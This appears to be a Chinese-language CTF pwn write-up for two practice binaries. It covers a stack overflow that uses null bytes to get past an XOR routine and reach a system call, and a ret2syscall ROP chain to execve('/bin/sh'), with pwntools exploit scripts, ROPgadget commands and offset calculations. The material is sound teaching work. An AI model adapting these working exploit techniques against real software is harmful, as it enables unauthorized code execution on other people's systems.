PWN…
0x01 Magic
Core Code:
void do_magic(char *buf,int n)
{
int i;
srand(time(NULL));
for (i = 0; i < n; i++)
buf[i] ^= rand()%256;
}
void magic()
{
char magic_str[60];
scanf("%s", magic_str);
do_magic(magic_str, strlen(magic_str));
printf("%s", magic_str);
}
运行结果:
使用checksec
检查
其中开启了DEP保护。接着使用objdump -d
查看函数。发现其中有个never_use
调用了system
(关于这个plt
在之后还会出现再解释)。
利用方式就是通过溢出到该地址从而获得shell。
不过有个难点就是如何去绕过do_magic
,输入进入该函数之后会被改变,这样就无法返回到想要的地址。
scanf和strlen的特性
scanf 读到'‘和’\n’就停止读取并返回结果 strlen 读到'\0’就返回长度
利用这两个特性可以绕过do_magic
,即传一定长度的\00
就能保证检测长度为0,但是字符串长度大于0。
接着寻找溢出的字符串长度。这里可以使用gdb或者ida进行查看。 IDA:
长度就是0x44+4
,最后的4是ebp保留
的空间大小,所以长度就是72。
gdb(这里输入的是\x00
* 100):
从0xffffd184
开始就是字符串的首地址了,到ebp
的距离是16*3+12+8=68
,最后加上4,就是72了。
payload:
'\00' * 72 + addr(never_use)
exp(这里注意由于never_user
的首地址中有\x0d
,会导致scanf停止,因而选择函数中的地址):
p = process('./magic')
sys_addr = p32(0x804860e)
payload = 'idlefire'
p.sendline(payload)
payload2 = '\x00' * 72 + sys_addr
p.sendafter(' MAGIC:',payload2)
p.interactive()
注:关于哪些函数可以溢出,可以参照CTF-pwn-tips
0x02 ROP-ret2syscall
checksec
情况
使用IDA查看源码:
这个地方要注意不能直接把0x64+4
作为溢出长度。可以看到汇编代码区。
可以看到是使用esp
作为基础计算的字符串。那么就可以使用字符填充溢出或者gdb进行调试计算。
字符填充:
可以使用gdb命令pattern_create
或者使用脚本创建字符串。这里使用第二种。
这样就能得到溢出长度是112个字符了。
gdb调试:
addr_esp = 0xffffd170
addr_s = addr_esp + 0x1c = 0xffffd18c
len = addr_ebp - addr_s + 4 = 0xffffd1f8 - 0xffffd18c + 4= 0x6c + 4 = 112
也能得到112。
由于程序开启了NX,因而不能写入代码执行。这里利用系统调用获得shell,而系统系统调用所需要的参数利用gadgets赋值。
关于系统调用
指的是在用户空间向操作系统内核请求更高权限的运行的服务。 应用程序调用的过程大致如下:
- 把系统调用编号存入EAX;
- 把函数参数存入其它的通用寄存器(关于传参的顺序可以看下面详情);
- 触发0x80号中断(int 0x80)
这里我们利用如下函数获取shell。
execve('/bin/sh',NULL,NULL)
接着就是传参的顺序:
- 系统调用号,eax = 0xb
- 第一个参数,ebx =
/bin/sh
地址 - 第二个参数,ecx = 0x00
- 第三个参数,edx = 0x00
紧接着寻找gadgets。利用ROPgadgt。
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
找到eax的gadgets,地址为0x080bb196
。
ROPgadget --binary ret2syscall --only 'pop|ret' | grep -E 'ebx|ecx|edx'
找到ebx、ecx、edx的gadgets,地址为0x0806eb90
。
紧接着寻找/bin/sh
地址。
ROPgadget --binary ret2syscall --string '/bin/sh'
最后寻找int 0x80
地址。
ROPgadget --binary ret2syscall --only 'int'
payload:
'a' * 112 + pop_eax + p32(0xb) + pop_ebb_ecx_edx + p32(addr_binsh) + p32(0) + p32(0) + p32(addr_int80)
exp:
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
binsh_addr = p32(0x080be408)
int_addr = p32(0x08049421)
payload = 'a' * 112
payload += pop_eax + p32(0xb) +pop_edx_ecx_ebx + p32(0) +p32(0) + binsh_addr + int_addr
p = process('./ret2syscall')
p.send(payload)
p.interactive()